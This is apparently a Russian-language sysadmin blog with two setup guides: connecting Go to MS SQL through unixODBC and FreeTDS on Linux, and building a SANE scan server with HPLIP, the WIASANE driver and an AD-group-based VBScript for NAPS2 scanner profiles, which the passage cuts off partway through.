Нужно обновить unixODBC. Удаляем старую версию unixODBC.

sudo apt-get remove libodbc1 unixodbc unixodbc-dev

Скачиваем текущую, не ниже 2.3.1:

wget ftp://ftp.unixodbc.org/pub/unixODBC/unixODBC-2.3.2.tar.gz

Распаковываем:

tar xf unixODBC-2.3.2.tar.gz

Конфигурируем и устанавливаем:

cd unixODBC-2.3.2
./configure --disable-gui --disable-drivers --enable-iconv --with-iconv-char-enc=UTF8 --with-iconv-ucode-enc=UTF16LE
make
sudo make install
sudo ldconfig

SQL Driver

Есть два варианта SQL-драйверов - FreeTDS и MS SQL.
Будем использовать FreeTDS.

Скачиваем и распаковываем:

wget ftp://ftp.astron.com/pub/freetds/stable/freetds-stable.tgz
tar xf freetds-stable.tgz

Компилируем и устанавливаем:

cd freetds-0.91/
./configure #Optionally specify TDS version here with --with-tdsver=VER
make
sudo make install

ВНИМАНИЕ! Важно помнить, что по-умолчанию, конфигурационные файлы odbcinst.ini, odbc.ini и freetds.conf лежат в папке /usr/local/etc, а библиотеки драйверов в /usr/local/lib/. Текущие параметры настройки можно посмотреть с помощью команды:

tsql -C

Теперь оповестим ODBC о существовании драйвера.
Для этого создадим текстовый файлик tds.driver.template такого содержания:

[FreeTDS] 
Description     = Open source FreeTDS driver
Driver          =/usr/local/lib/libtdsodbc.so

А затем выполним:

sudo odbcinst -i -d -f tds.driver.template

 odbcinst: Driver installed. Usage count increased to 1.
     Target directory is /usr/local/etc

Информация о драйвере баз данных пропишется в /usr/local/etc/odbcinst.ini в том же виде, что записано в файле tds.driver.template. В квадратных скобках - имя драйвера, которое можно использовать в дальнейшем.

Теперь можно прописать параметры сервера MS-SQL в конец конфигурационного файлика /usr/local/etc/freetds.conf:

[ms-sql]
host = 192.168.122.145
port = 1433
tds version = auto
instance = MSSQLSERVER

В начале секции указывается имя сервера, которое потом можно использовать для проверки, например в утилите tsql. Затем - хост (имя или IP), порт (можно не указывать. по умолчанию - 1433), версия tds (при значении auto перебираются разные версии) и имя инстанса MS SQL.
Более подробная информация тут: http://www.freetds.org/userguide/freetdsconf.htm

Теперь можно прописать DSN (DataSourceName). Они прописываются в файле /usr/local/etc/odbc.ini:

[freetds-test]
Driver = /usr/local/lib/libtdsodbc.so
Servername = ms-sql
Port = 1433
Database = test
TDS_Version = 8.0

В квадратных скобках - имя DSN, которое используется при обращении к нему. Затем указывается используемый драйвер (путь к файлу драйвера или имя записи из /usr/local/etc/odbcinst.ini), Servername - это имя сервера из /usr/local/etc/freetds.conf, Database - имя базы данных.

Проверяем что все работает

Во-первых смотрим текущую конфигурацию ODBC:

$ odbcinst -j

Вывод будет примерно таким:

unixODBC 2.3.2
DRIVERS............: /usr/local/etc/odbcinst.ini
SYSTEM DATA SOURCES: /usr/local/etc/odbc.ini
FILE DATA SOURCES..: /usr/local/etc/ODBCDataSources
USER DATA SOURCES..: /home/user/.odbc.ini
SQLULEN Size.......: 8
SQLLEN Size........: 8
SQLSETPOSIROW Size.: 8

И драйвера баз данных - FreeTDS:

$ tsql -C
Compile-time settings (established with the "configure" script)
                            Version: freetds v0.91
             freetds.conf directory: /usr/local/etc
     MS db-lib source compatibility: no
        Sybase binary compatibility: no
                      Thread safety: yes
                      iconv library: yes
                        TDS version: 5.0
                              iODBC: no
                           unixodbc: yes
              SSPI "trusted" logins: no
                           Kerberos: no

Дальше можем проверить что мы можем подключиться к базе как по IP адресу (имени хоста) из /usr/local/etc/freetds.conf:

$ isql freetds-test sa 1qaz@WSX
+---------------------------------------+
| Connected!                            |
|                                       |
| sql-statement                         |
| help [tablename]                      |
| quit                                  |
|                                       |
+---------------------------------------+
SQL>

Тут последовательно указывается ServerName, Username, Password.

Так и с помощью DSN из /usr/local/etc/odbc.ini:

$ tsql -H ms-sql -p 1433 -U sa -P 1qaz@WSX -D test
locale is "en_US.UTF-8"
locale charset is "UTF-8"
using default charset "UTF-8"
Default database being set to test
1>

Тут можно указывать как имя DSN, так и IP-адрес сервера.

Важно! Если сервер отвечает что:

Error 20017 (severity 9):
        Unexpected EOF from the server
        OS error 115, "Operation now in progress"
Error 20002 (severity 9):
        Adaptive Server connection failed
There was a problem connecting to the server

Это означает несоответствие версии TDS, используемой при подключении и версии TDS, поддерживаемой сервером SQL.
Лечится это указанием версии протокола в файле /usr/local/etc/freetds.conf:

[global]
        # TDS protocol version
tds version = 8.0

Проверка работоспособности из Go

Переходим в директорию с исходниками и пакетами Go и получаем пакет для работы с SQL:

cd ~/go/src
go get code.google.com/p/odbc

По умолчанию, в этом пакете в тестах пропиcано использование драйвера freetds.

Затем можно попытаться запустить тесты:

go test -mssrv=SERVERNAME.COM -msdb=DATABASENAME -msuser=USERNAME -mspass=YOURPASSWORD -v -run=MS

тут -mssrv - это имя хоста или IP-адрес. Остальное понятно что.

Но сокрее всего тесты не пройдут и везде будет FAIL. Причина - несоотвествие версии TDS.

Для исправления этой неприятности нужно отредактировать файлик ./mssql_test.go.
Там нужно найти такой кусочек:

func mssqlConnect() (db *sql.DB, stmtCount int, err error) {
        params := map[string]string{
                "driver":   *msdriver,
                "server":   *mssrv,
                "database": *msdb,
        }
        if isFreeTDS() {
                params["uid"] = *msuser
                params["pwd"] = *mspass
                params["port"] = *msport
                params["TDS_Version"] =  "8.0"

И добавить туда в конце строчку:

params[["TDS_Version"]] =  "8.0"**

В результате выполнения тестов должно быть так:

$ /usr/local/go/bin/go test -mssrv=192.168.122.145 -msport=1433 -msdriver=freetds -msdb=test -msuser=sa -mspass=1qaz@WSX -v -run=MS
=== RUN TestMSSQLCreateInsertDelete
--- PASS: TestMSSQLCreateInsertDelete (0.08s)
=== RUN TestMSSQLTransactions
--- PASS: TestMSSQLTransactions (0.14s)
=== RUN TestMSSQLTypes
--- PASS: TestMSSQLTypes (0.09s)
=== RUN TestMSSQLIntAfterText
--- PASS: TestMSSQLIntAfterText (0.01s)
=== RUN TestMSSQLStmtAndRows
--- PASS: TestMSSQLStmtAndRows (0.15s)
=== RUN TestMSSQLIssue5
--- PASS: TestMSSQLIssue5 (0.19s)
=== RUN TestMSSQLDeleteNonExistent
--- PASS: TestMSSQLDeleteNonExistent (0.06s)
=== RUN TestMSSQLDatetime2Param
--- SKIP: TestMSSQLDatetime2Param (0.01s)
        mssql_test.go:1006: skipping test; needs MS SQL Server 2008 or later
=== RUN TestMSSQLMerge
--- SKIP: TestMSSQLMerge (0.00s)
        mssql_test.go:1038: skipping test; needs MS SQL Server 2008 or later
=== RUN TestMSSQLSelectInt
--- PASS: TestMSSQLSelectInt (0.00s)
=== RUN TestMSSQLTextColumnParam
--- PASS: TestMSSQLTextColumnParam (0.48s)
=== RUN TestMSSQLTextColumnParamTypes
--- PASS: TestMSSQLTextColumnParamTypes (0.29s)
=== RUN TestMSSQLLongColumnNames
--- PASS: TestMSSQLLongColumnNames (0.00s)
=== RUN TestMSSQLRawBytes
--- PASS: TestMSSQLRawBytes (0.02s)
=== RUN TestMSSQLUTF16ToUTF8
--- PASS: TestMSSQLUTF16ToUTF8 (0.00s)
=== RUN TestMSSQLExecStoredProcedure
--- PASS: TestMSSQLExecStoredProcedure (0.02s)
=== RUN TestMSSQLSingleCharParam
--- PASS: TestMSSQLSingleCharParam (0.02s)
PASS
ok      code.google.com/p/odbc  1.565s

Пример кода на Go lang, получающего данные из базы MS-SQL

Вот кусочек кода, который читает из таблицы строки и выводит их на экран.

package main
import (
    _ "code.google.com/p/odbc"
    "database/sql"
    "fmt"
    "log"
)
var (
    title       string
    content     string
    query       string
)
func main() {
    db, err := sql.Open("odbc", "DRIVER=FreeTDS;SERVER=x.x.x.x;UID=sa;PWD=YourPassword;DATABASE=DbName;TDS_Version=8.0;PORT=1433;")
    if err != nil {
        fmt.Println("Error in connect DB")
        log.Fatal(err)
    }
    query = "select Content from dbo.PageContent  where Revision = -1"
    rows, err := db.Query(query)
    if err != nil {
        log.Fatal(err)
    }
    for rows.Next() {
        if err := rows.Scan(&content); err != nil {
            log.Fatal(err)
        }
        fmt.Println(content)
    }
    defer rows.Close()
}

В документации написано, что в sql.Open передаются пара параметров - имя драйвера и строка подключения.
Так вот на первый взгляд непонятно - что именно является именем драйвера и что должно входить в строку подключения.
В нашем случае - драйвер odbc.
А в качестве строки подключения документация предлагает указывать имя DSN, который прописан в /usr/local/etc/odbc.ini. Примерно так: “DSN=dsn_name”.
В такой конфигурации я неизменно получал ошибку:

SQLDriverConnect: {08001} [unixODBC][FreeTDS][SQL Server]Unable to connect to data source
{01000} [unixODBC][FreeTDS][SQL Server]Adaptive Server connection failed
exit status 1

То есть соединение начинало устанавливаться, выбирался правильный драйвер, указанный в odbc.ini, но в логах было:

detected flag 2
login packet rejected

Тут еще надо разобраться.

Но при этом все нормально подключалось, когда в качестве connection string передается строка с параметрами, а не имя DSN:

db, err := sql.Open("odbc", "DRIVER=FreeTDS;SERVER=x.x.x.x;UID=sa;PWD=YourPassword;DATABASE=DbName;TDS_Version=8.0;PORT=1433;")

Тут:
DRIVER=FreeTDS - имя драйвера из freetds.conf
SERVER= - DNS-имя или IP-адрес сервера
UID и PWD - имя и пароль пользователя

настройка_wiasane_sane

anonymous@undisclosed.example.com (Anonymous) — Tue, 14 May 2019 07:52:07 +0000

Задача

У меня была задача - сделать скан-сервер (по аналогии с принт-сервером) для Windows-клиентов. То есть сервер, который бы предоставлял пользователям доступ к сканерам по сети. В результате должен получиться единый унифицированный интерфейс доступа к сканерам.
На клиентских машинах прописывается подключение к сканеру на скан-сервере с помощью унифицированного драйвера. А на скан-сервере уже подключение к физическому устройству с использованием драйвера, специфичного для данного устройства. Таким образом, даже физическая замена сканера на другое устройство будет приводить только к необходимости переконфигурирования устройства на скан-сервере, но не на клиентах.
В частности - было необходимо, чтобы пользователи фермы Citrix XenApp могли сканировать с сетевых (Ethernet) сканеров (МФУ HP). То есть на каждом терминальном сервере должны быть установлены все сканеры, а пользователь получал бы доступ к одному из них (или нескольким) в зависимости от того, включен он в группу, соответствующую этому сканеру.

Архитектура и компоненты

В качестве программной части скан-сервера выступает SANE, который предоставляет унифицированный интерфейс для доступа к разнообразным сканирующим устройствам.
В качестве унифицированного драйвера для Windows выступил WIASANE. Это драйвер для Windows, позволяющий сканировать по протоколу SANE. В системе устанавливается WIA (Windows Image Acquisition) устройство, обращения к которому перенаправляются к устройству по протоколу SANE.

Настройка скан-сервере SANE

Установка SANE на Ubuntu 14.04

sudo apt-get install sane sane-utils libsane-extras

Затем как предписывает документация нужно проверить тут http://www.sane-project.org/sane-mfgs.html, что сканнер поддерживается и включить в файле /etc/sane.d/dll.conf соответствующий backend (раскомментировав нужную строку). После этого включаем sane в режим сервера. В файлике /etc/default/saned прописываем:

# Set to yes to start saned                                                     
RUN=yes

И прописываем сеть из которой будет доступен демон saned в файлике: /etc/sane.d/saned.conf. Там можно указать как отдельный хост, так и целую сеть. Для того, чтобы дать доступ к saned с любого IP-адреса нужно добавить строку с одним символом + (плюсик).

Мне нужно настроить работу SANE с МФУ HP M521 и 1536. Поэтому - ставим модуль libsane-hpaio, который будет работать с сетевым интерфейсом hpaio:

sudo apt-get install libsane-hpaio

Если нужного модуля нет, то в дальнейшем команда scanimage -L будет вываливаться с ошибкой Segmentation fault (core dumped).

На всякий случай проверяем наличие в файлике /etc/services строки:

sane-port 6566/tcp sane saned # SANE

Тестирование SANEd

Во первых - можно включить тестовый бекенд test. Для этого в файлике /etc/sane.d/dll.conf нужно раскомментировать/добавить строку test. В результате сервер начнет отдавать пару сканеров:

device `net:localhost:test:0' is a Noname frontend-tester virtual device
device `net:localhost:test:1' is a Noname frontend-tester virtual device

Если сервер sane работает как-то не так, то можно запустить его в режиме дебага, в котором он будет выдавать много полезной информации. Для начала нужно остановить его командой:

sudo /etc/init.d/saned stop

И запустить в debug-режиме:

sudo /usr/sbin/saned -d

Или в более подробном варианте:

sudo /usr/sbin/saned -d128

C какой-либо рабочей станции с Linux (на которой установлены sane sane-utils libsane-extras) можно попробывать подключиться к saned:

scanimage -d net:<ip adderss of saned>:test -T

Если все хорошо, то вывод будет примерно такой:

scanimage: scanning image of size 157x196 pixels at 8 bits/pixel
scanimage: acquiring gray frame, 8 bits/sample
scanimage: reading one scanline, 157 bytes...   PASS
scanimage: reading one byte...          PASS
scanimage: stepped read, 2 bytes...     PASS
scanimage: stepped read, 4 bytes...     PASS
scanimage: stepped read, 8 bytes...     PASS
scanimage: stepped read, 16 bytes...    PASS
scanimage: stepped read, 32 bytes...    PASS
scanimage: stepped read, 64 bytes...    PASS
scanimage: stepped read, 128 bytes...   PASS
scanimage: stepped read, 256 bytes...   PASS
scanimage: stepped read, 255 bytes...   PASS
scanimage: stepped read, 127 bytes...   PASS
scanimage: stepped read, 63 bytes...    PASS
scanimage: stepped read, 31 bytes...    PASS
scanimage: stepped read, 15 bytes...    PASS
scanimage: stepped read, 7 bytes...     PASS
scanimage: stepped read, 3 bytes...     PASS

На рабочей станции с Linux можно прописать адрес сервера saned, чтобы команда scanimage знала откуда брать сканеры. Для этого редактируем файлик /etc/sane.d/net.conf и в конец дописываем IP-адрес сервера saned.

Установка устройств HP

Для работы с устройствами HP нужен пакет HPLIP (HP Linux Imaging and Printing System). Его можно либо скачать с сайта HP, либо из репозиториев Ubuntu. На Ubuntu 14.04.02 я устанавливал из репозиториев.

sudo apt-get install hplip

Поставилась версия 3.14.3 и с ней удалось сканировать по сети через saned с клиента Ubuntu.

С сайта HP можно скачать гораздо более новую версию, но с ней у меня так и не получилось сканировать по сети через saned. Но на всякий случай: Скачиваем HPLIP - http://hplipopensource.com/hplip-web/gethplip.html Скачиваем и ставим. Ставить рекомендуют под обычным пользюком (не под root):

wget http://vorboss.dl.sourceforge.net/project/hplip/hplip/3.15.7/hplip-3.15.7.run
chmod a+x hplip-3.15.7.run 
./hplip-3.15.7.run

Запускать инсталлер можно под обычным юзером. В процессе установки он попросит пароль чтобы выполнить установку от имени root.

Если в интернет система выходит через proxy, то нужно объявить об этом до установки:

export http_proxy=http://host.com:port/
export ftp_proxy=http://host.com:port/
export no_proxy=.domain.com
export HTTP_PROXY=http://host.com:port/
export FTP_PROXY=http://host.com:port/

А также прописать http_proxy, https_proxy и ftp_proxy в файлике /etc/wgetrc

А после установки нужно установить плагины:

hp-plugin -i

А затем установить принтер/сканер:

sudo hp-setup -i -a <ip address of printer>

Теперь сканер должен появляться при выполнении команды:

scanimage -L

Если там его нет, то генерируем URI для этого сканера. Делать это необязательно, но во многих мануалах это действие присутствует:

hp-makeuri <ip address of printer>

В выдаче будет строка типа: hpaio:/net/HP_LaserJet_Pro_MFP_M521dn?ip=10.166.203.1 Для поверки состояния сканера берем строку с URI сканера и подставляем в команду:

scanimage --device=hpaio:/net/HP_LaserJet_Pro_MFP_M521dn?ip=10.166.203.1 -T

В результате должны вывалиться результаты тестов: PASSED.

Команда

scanimage -L

Должна выдавать список сканеров. Если она этого не делает, возможно, дело в файлике /etc/cups/printers.conf. В нем нужно заменить значение параметра DeviceURI. Там может быть либо что-то про socket, а должно быть то что возвращает команда hp-makeuri в строчке CUPS URI. Что-то типа hp:/net/HP_LaserJet_Pro_MFP_M521dn?ip=10.166.203.1. После правки этого файла нужно перезапустить cups:

sudo /etc/init.d/cups restart

Теперь сканировать на сервере saned из командной строки можно так:

scanimage --device "hpaio:/net/HP_LaserJet_Pro_MFP_M521dn?ip=10.166.203.1" --mode Color --resolution 300 > ~/scan.jpg

Если списка сканеров нет совсем или там нет нужного. то можно включить дебаг:

SANE_DEBUG_NET=128 SANE_DEBUG_DLL=128 scanimage -L

Сканировать с клиента Linux можно командой:

scanimage --device "net:10.50.6.218:hpaio:/net/HP_LaserJet_Pro_MFP_M521dn?ip=10.166.203.1" --mode Color --resolution 300 > ~/scan.jpg

Тут укаываем, что используем бекэнд net, затем через двоеточие адрес сервера saned и затем URI сканера.

Иногда бывает, что сканер поставился, но при попытках сканировать сообщает: Error during device I/O. Вероятно нужно удалить его и поставить снова.

Удаление принтера-сканера

Обычно на сервере сканирования устанавливается несколько принтеров одинаковой модели. Для того, чтобы узнакть какой именно принтер надо удалить - открываем файлик /etc/cups/printers.conf и ищем по IP-адресу как именно называется устройство.

sudo cat /etc/cups/printers.conf
sudo hp-setup -i -r

Настройка фронтэндов под Windows

WiaSane

wiasane - это обертка для sane, которая предоставляет WIA интерфейс к сканерам saned.
Настроить wiasane (0.1.1.9) с устройствами hpaio:/net/… удалось только после патчинга драйверов HPLIP. Со стандартным драйвером программа пытается получать список сканеров с сервера sane, но сервер не отдает эти устройства. Помогает патчинг драйвера. Смотри ниже.
Рабочая сборка - sane_wia_driver.zip. Она доработана для того, чтобы прописывать сканеры скриптом. Если возникают проблемы с установкой драйвера (он просто не ставится), то скорее всего не установлен Visual C++ Redistributable for Visual Studio

Скрипт для пакетного прописывания сканеров такой:

devsane.exe device uninstall wiasane.inf
devsane.exe driver uninstall wiasane.inf
devsane.exe driver install wiasane.inf
del /f /q "c:\Program Files\SANE WIA Driver\_device install.log"

devsane.exe device install wiasane.inf -x=1 "-f=M1530 Gilyar 6" -h=10.50.6.218 -p=6566 -r=hpaio:/net/HP_LaserJet_M1536dnf_MFP?ip=10.90.32.74 -u= -s= "-l=c:\Program Files\SANE WIA Driver\_device install.log"
devsane.exe device install wiasane.inf -x=1 "-f=M1530 Gilyar 7" -h=10.50.6.218 -p=6566 -r=hpaio:/net/HP_LaserJet_M1536dnf_MFP?ip=10.90.32.6 -u= -s= "-l=c:\Program Files\SANE WIA Driver\_device install.log"
devsane.exe device install wiasane.inf -x=1 "-f=M521 Volokolamsk" -h=10.50.6.218 -p=6566 -r=hpaio:/net/HP_LaserJet_M1536dnf_MFP?ip=10.166.243.200 -u= -s= "-l=c:\Program Files\SANE WIA Driver\_device install.log"
devsane.exe device install wiasane.inf -x=1 "-f=M521 PavlPosad" -h=10.50.6.218 -p=6566 -r=hpaio:/net/HP_LaserJet_Pro_MFP_M521dn?ip=10.166.203.1 -u= -s= "-l=c:\Program Files\SANE WIA Driver\_device install.log"
devsane.exe device install wiasane.inf -x=1 "-f=M521 ul.Dm.Ulyanova" -h=10.50.6.218 -p=6566 -r=hpaio:/net/HP_LaserJet_Pro_MFP_M521dn?ip=10.166.204.2 -u= -s= "-l=c:\Program Files\SANE WIA Driver\_device install.log"
devsane.exe device install wiasane.inf -x=1 "-f=M521 Schelkovo" -h=10.50.6.218 -p=6566 -r=hpaio:/net/HP_LaserJet_Pro_MFP_M521dn?ip=10.166.234.3 -u= -s= "-l=c:\Program Files\SANE WIA Driver\_device install.log"
devsane.exe device install wiasane.inf -x=1 "-f=M521 Orehovo-Zuevo" -h=10.50.6.218 -p=6566 -r=hpaio:/net/HP_LaserJet_Pro_MFP_M521dn?ip=10.166.207.1 -u= -s= "-l=c:\Program Files\SANE WIA Driver\_device install.log"
devsane.exe device install wiasane.inf -x=1 "-f=M521 Kolomna" -h=10.50.6.218 -p=6566 -r=hpaio:/net/HP_LaserJet_Pro_MFP_M521dn?ip=10.166.225.2 -u= -s= "-l=c:\Program Files\SANE WIA Driver\_device install.log"
devsane.exe device install wiasane.inf -x=1 "-f=M521 Kozhuhovo" -h=10.50.6.218 -p=6566 -r=hpaio:/net/HP_LaserJet_Pro_MFP_M521dn?ip=10.166.226.1 -u= -s= "-l=c:\Program Files\SANE WIA Driver\_device install.log"
devsane.exe device install wiasane.inf -x=1 "-f=M521 Chehov" -h=10.50.6.218 -p=6566 -r=hpaio:/net/HP_LaserJet_Pro_MFP_M521dn?ip=10.166.211.1 -u= -s= "-l=c:\Program Files\SANE WIA Driver\_device install.log"
devsane.exe device install wiasane.inf -x=1 "-f=M521 Kashira" -h=10.50.6.218 -p=6566 -r=hpaio:/net/HP_LaserJet_Pro_MFP_M521dn?ip=10.166.237.10 -u= -s= "-l=c:\Program Files\SANE WIA Driver\_device install.log"
devsane.exe device install wiasane.inf -x=1 "-f=M521 Lobnya" -h=10.50.6.218 -p=6566 -r=hpaio:/net/HP_LaserJet_Pro_MFP_M521dn?ip=10.166.223.2 -u= -s= "-l=c:\Program Files\SANE WIA Driver\_device install.log"
devsane.exe device install wiasane.inf -x=1 "-f=M521 Podolsk" -h=10.50.6.218 -p=6566 -r=hpaio:/net/HP_LaserJet_Pro_MFP_M521dn?ip=10.166.214.2 -u= -s= "-l=c:\Program Files\SANE WIA Driver\_device install.log"
devsane.exe device install wiasane.inf -x=1 "-f=M521 Shatura" -h=10.50.6.218 -p=6566 -r=hpaio:/net/HP_LaserJet_Pro_MFP_M521dn?ip=10.166.244.2 -u= -s= "-l=c:\Program Files\SANE WIA Driver\_device install.log"
devsane.exe device install wiasane.inf -x=1 "-f=M521 Klin" -h=10.50.6.218 -p=6566 -r=hpaio:/net/HP_LaserJet_Pro_MFP_M521dn?ip=10.166.209.3 -u= -s= "-l=c:\Program Files\SANE WIA Driver\_device install.log"
devsane.exe device install wiasane.inf -x=1 "-f=M521 Noginsk" -h=10.50.6.218 -p=6566 -r=hpaio:/net/HP_LaserJet_Pro_MFP_M521dn?ip=10.166.215.2 -u= -s= "-l=c:\Program Files\SANE WIA Driver\_device install.log"
devsane.exe device install wiasane.inf -x=1 "-f=M521 Egor'evsk" -h=10.50.6.218 -p=6566 -r=hpaio:/net/HP_LaserJet_Pro_MFP_M521dn?ip=10.166.229.2 -u= -s= "-l=c:\Program Files\SANE WIA Driver\_device install.log"
devsane.exe device install wiasane.inf -x=1 "-f=M521 Zheleznodorozhnyj" -h=10.50.6.218 -p=6566 -r=hpaio:/net/HP_LaserJet_Pro_MFP_M521dn?ip=10.166.239.1 -u= -s= "-l=c:\Program Files\SANE WIA Driver\_device install.log"
devsane.exe device install wiasane.inf -x=1 "-f=M521 B.Tishinskiy" -h=10.50.6.218 -p=6566 -r=hpaio:/net/HP_LaserJet_Pro_MFP_M521dn?ip=10.166.206.2 -u= -s= "-l=c:\Program Files\SANE WIA Driver\_device install.log"
devsane.exe device install wiasane.inf -x=1 "-f=M521 Balashiha" -h=10.50.6.218 -p=6566 -r=hpaio:/net/HP_LaserJet_Pro_MFP_M521dn?ip=10.166.233.2 -u= -s= "-l=c:\Program Files\SANE WIA Driver\_device install.log"
devsane.exe device install wiasane.inf -x=1 "-f=M521 Mytishi" -h=10.50.6.218 -p=6566 -r=hpaio:/net/HP_LaserJet_Pro_MFP_M521dn?ip=10.166.217.2 -u= -s= "-l=c:\Program Files\SANE WIA Driver\_device install.log"
devsane.exe device install wiasane.inf -x=1 "-f=M521 Lubertsy" -h=10.50.6.218 -p=6566 -r=hpaio:/net/HP_LaserJet_Pro_MFP_M521dn?ip=10.166.221.2 -u= -s= "-l=c:\Program Files\SANE WIA Driver\_device install.log"
devsane.exe device install wiasane.inf -x=1 "-f=M521 Zvenigorod" -h=10.50.6.218 -p=6566 -r=hpaio:/net/HP_LaserJet_Pro_MFP_M521dn?ip=10.166.218.1 -u= -s= "-l=c:\Program Files\SANE WIA Driver\_device install.log"

SaneWinDS

Может сканировать. Удается вставить URI сканера в соотвествующее поле и сканировать. Но сам фронтенд (версия 0.9.5589) пока что очень убогий и годится только для тестов.

SwingSane

Не удалось.

Патчим драйвер hplip чтобы работали сканеры net:_saned_IP_:hpaio:/net/HP_

Если при попытке прописать сканер wiasane не обнаружвает сканер, то, скорее это связано с багом в библиотеках hplip на сервере saned. Исправить ситуацию можно собрав hplip из исходников и применив патч, описанный тут: https://sourceforge.net/p/hplip/mailman/message/2564768/

Останавливаем saned:

sudo /etc/init.d/saned stop

Удаляем старый hplip:

sudo apt-get remove hplip

Cкачиваем исходники драйвера:

wget http://downloads.sourceforge.net/project/hplip/hplip/3.15.7/hplip-3.15.7_py2.5.tar

Рядом с распакованным архивом кладем патч hplip_sane_patch_and_make.rar (hplip-sane-patch.sh и hplip-sane-patch.diff) распаковываем и применяем его:

chmod a+x ./hplip-sane-patch.sh && ./hplip-sane-patch.sh

Дальше собираем по инструкции:

http://hplipopensource.com/hplip-web/install/manual/distros/ubuntu.html

Для Ubuntu 14.04 будет так: Ставим зависимости:

sudo apt-get install --assume-yes build-essential avahi-utils libcups2 cups libcups2-dev cups-bsd cups-client libcupsimage2-dev libdbus-1-dev build-essential ghostscript openssl libjpeg-dev libsnmp-dev snmp-mibs-downloader libtool libusb-1.0.0-dev wget policykit-1 policykit-1-gnome python3-dbus python3-gi python3-dev python3-notify2 python3-pil python3-pyqt4 gtk2-engines-pixbuf python3-dbus.mainloop.qt python3-reportlab python3-lxml libsane libsane-dev sane-utils xsane

Конфигурим:

./configure --with-hpppddir=/usr/share/ppd/HP --libdir=/usr/lib --prefix=/usr --enable-qt4 --disable-libusb01_build --enable-doc-build --disable-cups-ppd-install --disable-foomatic-drv-install --disable-foomatic-ppd-install --disable-hpijs-install --disable-udev_sysfs_rules --disable-policykit --enable-cups-drv-install --enable-hpcups-install --enable-network-build --enable-dbus-build --enable-scan-build --enable-fax-build

Компилим:

make

Ставим:

make install

Затем ставим плагин:

hp-plugin -i

И собственно принтер/сканер:

sudo hp-setup -i -a <ip address of printer>

Теперь можно запустить saned, настроить на клиенте backend net и проверяем с удаленного клиента:

sudo /etc/init.d/saned start

И на клиенте проверяем:

scanimage -L

Прописываем пользователям сканеры в NAPS2 в соответствии с группами AD

Для сканирования я применяю бесплатную опенсорсную утилитку NAPS2 - http://sourceforge.net/projects/naps2/
Если на терминальном сервере много сканеров, то пользователю неудобно выбирать каждый раз нужный. Можно создавать профили NAPS2 в зависимости от того, в какие группы входит пользователь.
Каждому сканеру сопоставлена групппа. Если пользовтаель входит в группу - ему пропишется нужный сканер. Названия групп и сканеров разные, потому что группы изначально использовались для прописывания принтеров. Но можно сделать их одинаковыми и тогда скриптец немного упростится.
Вот этот скриптец VBS для прописывания сканеров в NAPS2:

Dim dicScanGroups, arrGroups
Set dicScanGroups = CreateObject("Scripting.Dictionary")
'Заполняем словарь групп-сканеров. 
''''''''''''''''''''Key - имя группы, Value - имя сканера
dicScanGroups.Add "Prn_1536_Gilyar6","M1530 Gilyar 6"
dicScanGroups.Add "Prn_1536_Gilyar7","M1530 Gilyar 7"
dicScanGroups.Add "Printer_Chehov_M521","M521 Chehov"
dicScanGroups.Add "Printer_Egorevsk_M521","M521 Egor'evsk"
dicScanGroups.Add "Printer_Kolomna_M521","M521 Kolomna"
dicScanGroups.Add "Printer_Podolsk_M521","M521 Podolsk"
dicScanGroups.Add "Printer_Scholkovo_HP_MFP","M521 Schelkovo"
dicScanGroups.Add "Printer_B_Tishinskiy_M521","M521 B.Tishinskiy"
dicScanGroups.Add "Printer_Balashiha_M521","M521 Balashiha"
dicScanGroups.Add "Printer_ul.Dm.Ulyanova_HP521","M521 ul.Dm.Ulyanova"
dicScanGroups.Add "Printer_Lobnya_M521","M521 Lobnya"
dicScanGroups.Add "Printer_Lubertsy_M521","M521 Lubertsy"
dicScanGroups.Add "Printer_Mytishi_M521","M521 Mytishi"
dicScanGroups.Add "Printer_Pavlovskiy_Posad_M521","M521 PavlPosad"
dicScanGroups.Add "Printer_Volokolamsk_M521","M521 Volokolamsk"
dicScanGroups.Add "Printer_Zvenigorod_M521","M521 Zvenigorod"
dicScanGroups.Add "Prn_HP521_Zheleznodorozhnyj","M521 Zheleznodorozhnyj"
dicScanGroups.Add "Printer_Kashira_M521","M521 Kashira"
dicScanGroups.Add "Prn_Klin_M521","M521 Klin"
dicScanGroups.Add "Prn_M521_Noginsk_def","M521 Noginsk"
dicScanGroups.Add "Printer_Orehovo-Zuevo_M521","M521 Orehovo-Zuevo"
dicScanGroups.Add "Printer_Shatura_M521","M521 Shatura"

arrGroups = dicScanGroups.Keys

Dim intCount, strGroup, ScannerName, ScanerDevName, ScannerID
Dim objDeviceManager, i, objFSO, ProfileFile, DesktopPath

Set objUser = CreateObject("ADSystemInfo")
Set CurrentUser = GetObject("LDAP://" & objUser.UserName)
strGroup = LCase(Join(CurrentUser.MemberOf))

Set objFSO = CreateObject("Scripting.FileSystemObject")

Set Shell = CreateObject("WScript.Shell")
Set DeviceManager = Wscript.createObject("WIA.DeviceManager")

'создаем папку и файл %APPDATA%\NAPS2\profiles.xml
Call Shell.Run("%COMSPEC% /c mkdir ""%APPDATA%\NAPS2""",0,true)
''objFSO.CreateFolder(Shell.expandEnvironmentStrings("%APPDATA%") & "\NAPS2")
Set ProfileFile = objFSO.CreateTextFile(Shell.expandEnvironmentStrings("%APPDATA%") & "\NAPS2\profiles.xml", True)
ProfileFile.WriteLine "<?xml version=" & """" & "1.0" & """" & "?>"
ProfileFile.WriteLine "<ArrayOfExtendedScanSettings xmlns:xsi="&""""&"http://www.w3.org/2001/XMLSchema-instance"&"""" & " xmlns:xsd="&""""&"http://www.w3.org/2001/XMLSchema"&""""&">"

'Перебираем группы из словарика и и если группа есть у пользюка то
For intCount = 0 to dicSCanGroups.count - 1
ScannerName = dicScanGroups.Item(arrGroups(intCOunt))
If InStr(strGroup, lcase(arrGroups(intCount))) Then
'Создаем ярлык на утилитку сканирования
DesktopPath = Shell.SpecialFolders("Desktop")
Set oShortCut = Shell.CreateShortcut(DesktopPath & "\ScanTool.lnk")
oShortCut.TargetPath = "C:\ScanTool\NAPS2.exe"
oShortCut.Save
'перебираем сканеры чтобы найти DevID
	For i = 1 to DeviceManager.DeviceInfos.Count
	ScanerDevName = DeviceManager.DeviceInfos(i).Properties("Name").Value
	ScannerID = DeviceManager.DeviceInfos(i).DeviceID
	If StrComp(ScanerDevName, ScannerName, vbTextCompare) = 0 Then
			'прописываем сканер в файлик
			ProfileFile.WriteLine "  <ExtendedScanSettings>"
			ProfileFile.WriteLine "    <Device>"
			ProfileFile.WriteLine "      <ID>" & ScannerID & "</ID>"
			ProfileFile.WriteLine "      <Name>" & ScanerDevName & "</Name>"
			ProfileFile.WriteLine "    </Device>"
